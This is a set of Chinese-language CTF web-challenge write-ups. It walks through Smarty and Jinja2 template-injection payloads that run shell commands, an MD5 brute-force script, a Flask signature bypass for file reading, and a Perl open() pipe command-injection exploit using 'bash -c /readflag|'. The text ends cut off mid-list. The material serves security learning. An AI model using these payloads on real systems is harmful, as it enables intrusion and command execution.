目录
目录

打开界面,好熟悉可能是做过一道类似的题,是通过ip进行注入的题目

最下面给出了smarty模板注入

会随着我的x-Forwarded-for的改变而改变,用if标签
{if system('cat /flag')}{/if}



打开界面源码,什么都没有发现,试一下万能密码之类的登录,只返回fail
那么尝试一下扫目录,发现index.php.swp然后访问
- ob_start();
- function get_hash(){
- $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
- $random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
- $content = uniqid().$random;
- return sha1($content);
- }
- header("Content-Type: text/html;charset=utf-8");
- ***
- if(isset($_POST['username']) and $_POST['username'] != '' )
- {
- $admin = '6d0bc1';
- if ( $admin == substr(md5($_POST['password']),0,6)) {
- echo "";
- $file_shtml = "public/".get_hash().".shtml";
- $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
- $text = '
- ***
- ***
-
Hello,'
.$_POST['username'].' - ***
- ***';
- fwrite($shtml,$text);
- fclose($shtml);
- ***
- echo "[!] Header error ...";
- } else {
- echo "";
-
- }else
- {
- ***
- }
- ***
发现页面源码,看完代码,只要密码经过md5加密的前六位6d0bc1相同,便可成功登陆
那么构建脚本
- import hashlib
- for i in range(1,100000000000):
- md5=hashlib.md5(str(i).encode('utf_8')).hexdigest() //hexdigest十六位的意思
- if md5[0:6]=="6d0bc1":
- print(str(i)+'$'+md5)
-

2020666
抓包发现一个url访问一下

一般这种界面都存在ssti注入,可能是cxk或者ip那里,
搜索一下,shtml的信息,补充一下什么是ssi注入,SSI 注入全称Server-Side Includes Injection(服务端包含注入),ssi可以赋予html静态页面的动态效果,通过ssi执行命令,返回对应的结果,当在网站目录中发现了.stm .shtm .shtml或在界面中发现了
{$what}Welcome, {{username}}
{%$a%}
就容易产生ssi注入,此处问题的其注入格式为:。
username=&password=2020666


打开界面,整理一下python源码,表面是一道ssrf题,其实是一道python flash框架审计题
- #! /usr/bin/env python
- # #encoding=utf-8
- from flask import Flask
- from flask import request
- import socket
- import hashlib
- import urllib
- import sys
- import os
- import json
- reload(sys)
- sys.setdefaultencoding('latin1')
-
- app = Flask(__name__)
-
- secert_key = os.urandom(16)
-
- class Task:
- def __init__(self, action, param, sign, ip):
- self.action = action
- self.param = param
- self.sign = sign
- self.sandbox = md5(ip)
- if(not os.path.exists(self.sandbox)):
- os.mkdir(self.sandbox)
-
- def Exec(self):
- result = {}
- result['code'] = 500
- if (self.checkSign()):
- if "scan" in self.action:
- tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
- resp = scan(self.param)
- if (resp == "Connection Timeout"):
- result['data'] = resp
- else:
- print resp
- tmpfile.write(resp)
- tmpfile.close()
- result['code'] = 200
- if "read" in self.action:
- f = open("./%s/result.txt" % self.sandbox, 'r')
- result['code'] = 200
- result['data'] = f.read()
- if result['code'] == 500:
- result['data'] = "Action Error"
- else:
- result['code'] = 500
- result['msg'] = "Sign Error"
- return result
-
- def checkSign(self):
- if (getSign(self.action, self.param) == self.sign):
- return True
- else:
- return False
-
- @app.route("/geneSign", methods=['GET', 'POST'])
- def geneSign():
- param = urllib.unquote(request.args.get("param", ""))
- action = "scan"
- return getSign(action, param)
-
- @app.route('/De1ta',methods=['GET','POST'])
- def challenge():
- action = urllib.unquote(request.cookies.get("action"))
- param = urllib.unquote(request.args.get("param", ""))
- sign = urllib.unquote(request.cookies.get("sign"))
- ip = request.remote_addr
- if(waf(param)):
- return "No Hacker!!!!"
- task = Task(action, param, sign, ip)
- return json.dumps(task.Exec())
-
- @app.route('/')
- def index():
- return open("code.txt","r").read()
-
- def scan(param):
- socket.setdefaulttimeout(1)
- try:
- return urllib.urlopen(param).read()[:50]
- except:
- return "Connection Timeout"
-
- def getSign(action, param):
- return hashlib.md5(secert_key + param + action).hexdigest()
-
- def md5(content):
- return hashlib.md5(content).hexdigest()
-
- def waf(param):
- check=param.strip().lower()
- if check.startswith("gopher") or check.startswith("file"):
- return True
- else:
- return False
- if __name__ == '__main__':
- app.debug = False
- app.run(host='0.0.0.0',port=9999)
首先有三个路由选择的路径
@app.route("/geneSign", methods=['GET', 'POST'])
@app.route('/De1ta',methods=['GET','POST'])
@app.route('/')
我们一个个看功能,
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
这里get传参一个param值和action一起进入getSign函数
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
getSign,功能是返回一个 secert_key +param+action md5加密十六位的值,里面secertkey不确定,param是get传参进去可修改,action其实就是‘scan’字符串
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
这个De1ta路由时核心重点,action和sign时通过cookie确定,param依然是get传参,ip还是本地ip,waf函数看一下功能
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
strip去掉首位空格,lower小写,startswitch()匹配字符串第一个是否为参数中的值 ,等于过滤了gopher和file协议
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())继续看这里,task实例化对象,调用exec函数
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
直接看Exec第一步需要绕过self.checkSign,
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False
看见调用函数getSign和sign值,相同就可以,然后getsign时返回一个md5加密后的值
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
继续往下看,
if "scan" in self.action:
if "read" in self.action:
这里我们大致就可以猜出,action中的值时scanread 或者readscan这样就可以执行下面的函数
resp = scan(self.param)
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
就可以读取文件,题目中给出了flag在./flag.txt文件中,param的值,一定是/flag.txt
到这分析结束,我们只要绕过checkSign,让返回的值相同就可以了,可是secret这个密钥我们不知道值呀,仔细看第一个目录就可以明白
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
action赋值了scan,我们第二个关键目录中的action的值肯定是 readscan或者scanread
而这里 (secert_key + param + ‘scan’) param里面肯定是flag的位置上面和下面就差一个read,我们完全可以 param传参flag.txtread就可以获得值了
记住是在/geneSign url下面


响应码500,服务器端错误,还以为我错了,然后直接打出cookie,正确欧克

action赋值readscan,那是因为要和上面一致,所以不用scanread,终于做出来了,不容易!!!
看题目感觉是一道flask模板注入的题
查看源码

然后通过get方法上传search

确定这是一道模板注入,然后寻找可利用的类

- #查找可以利用的类
- import requests
- import time
-
- # 可利用类的字典
- list = ["site._Printer", "site.Quitter", "warnings.catch_warnings", "os._wrap_close", "popen", "Popen"]
-
- for i in range(0, 1000):
- url = "http://10a6d289-f0c8-4c5b-8184-9d5e0db669ce.node4.buuoj.cn:81/?search={{''.__class__.__mro__[2].__subclasses__()[" + str(i) + "]}}"
- time.sleep(0.1)
- r = requests.get(url)
- # print(res)
- # print(r.text)
- # print(r.text)
- for j in list:
- if j in r.text:
- print(i)
- print(j)
- break
-
-
-

例一:warnings.catch_warnings
首先利用第一个类
{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

因为globals报错,500,所以改为字符串链接,
例二:
class’site._Printer’类
{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls').read()}}

发现flasklight,没有flag那么应该在这里面,获得flag
{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('cat /flasklight/coomme_geeeett_youur_flek').read()}}
- ?php
- if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { //获得ip地址
- $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
- //explode就是当中,分割为部分
- $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
- }
-
- echo $_SERVER["REMOTE_ADDR"]; 其实这个也是一个ip地址的表达方式
-
- $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
- //建立一个沙箱地址为/sandbox,然后以orange和ip地址的md5进行链接
- @mkdir($sandbox);
- @chdir($sandbox);
-
- $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
- //使用get传入一个参数但是需要进行escapeshellarg过滤
-
- $info = pathinfo($_GET["filename"]); 不包含后缀的文件名
-
- $dir = str_replace(".", "", basename($info["dirname"])); 目录路径
- //就是禁止使用../因为替换掉了.
- dirname获得文件名
- @mkdir($dir);
- @chdir($dir);
- @file_put_contents(basename($info["basename"]), $data);
- 往文件中填入 data
- highlight_file(__FILE__);
这里需要了解一下PHP pathinfo() 函数
- [dirname]: 目录路径
- [basename]: 文件名
- [extension]: 文件后缀名
- [filename]: 不包含后缀的文件名
这道题也是获得了一个知识点即get中的open函数漏洞
当我们使用
open函数在GET命令被调用时执行,也就是第五行执行GET命令时,perl语言会调用open命令,漏洞就存在于open命令对于文件的处理上,关于这个漏洞,perl函数看到要打开的文件名中如果以管道符(键盘上那个竖杠)结尾,就会中断原有打开文件操作,并且把这个文件名当作一个命令来执行,并且将命令的执行结果作为这个文件的内容写入。这个命令的执行权限是当前的登录者。如果你执行这个命令,你会看到perl程序运行的结果。
因此,我们可以构造这样的payload:
首先:
url=【任意】&filename=cat /flag|
但前提是我们存在这样一个执行命令的文件
如下所示:
然后MD5(orange+ip)

然后通过目录 进行文件的访问,发现构建文件成功
然后就可以通过命令写入文件
?url=cat /flag|&filename=123.txt
/sandbox/2eeed2f9aeae6311b507ada8fb98809e/cat%20/flag%7C
呃呃呃呃呃呃,接下来需要反弹技术了 我赶紧去学
首先我们可以查看系统文件输出到文件中
- http://117.50.3.97:8004/?url=/etc/passwd&filename=111 //默认配置文件目录
- http://117.50.3.97:8004/sandbox/9872edb0e32d04659381b860b130a2b7/111 然后访问该目录
然后读取根目录,可以看到flag文件和readflag文件

看到有flag文件和readflag文件,原题是直接可以读取flag,在buu上要通过运行readflag读取文件,所以我们继续往下分析。
2.创建与命令执行相同的文件。
/?url=file:bash -c /readflag|&filename=bash -c /readflag|
这样我们就创造了一个与命令相同的文件
因为由open漏洞的原理,我们使用file:协议然后运行到|就可以执行了
bash -c其实意义就是执行后面的
3.修改存储的文件,并读取flag输入到存储的文件中去。直接rce。
/?url=file:bash -c /readflag|&filename=1455

打开界面,看题目肯定是一个模板注入,所以肯定需要注入点

- m指定方法 -c 控制参数大小
发现名字是get传参,name
{{''.__class__.__bases__[0].__subclasses__()}}查看子模块
- all_list = "
, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ,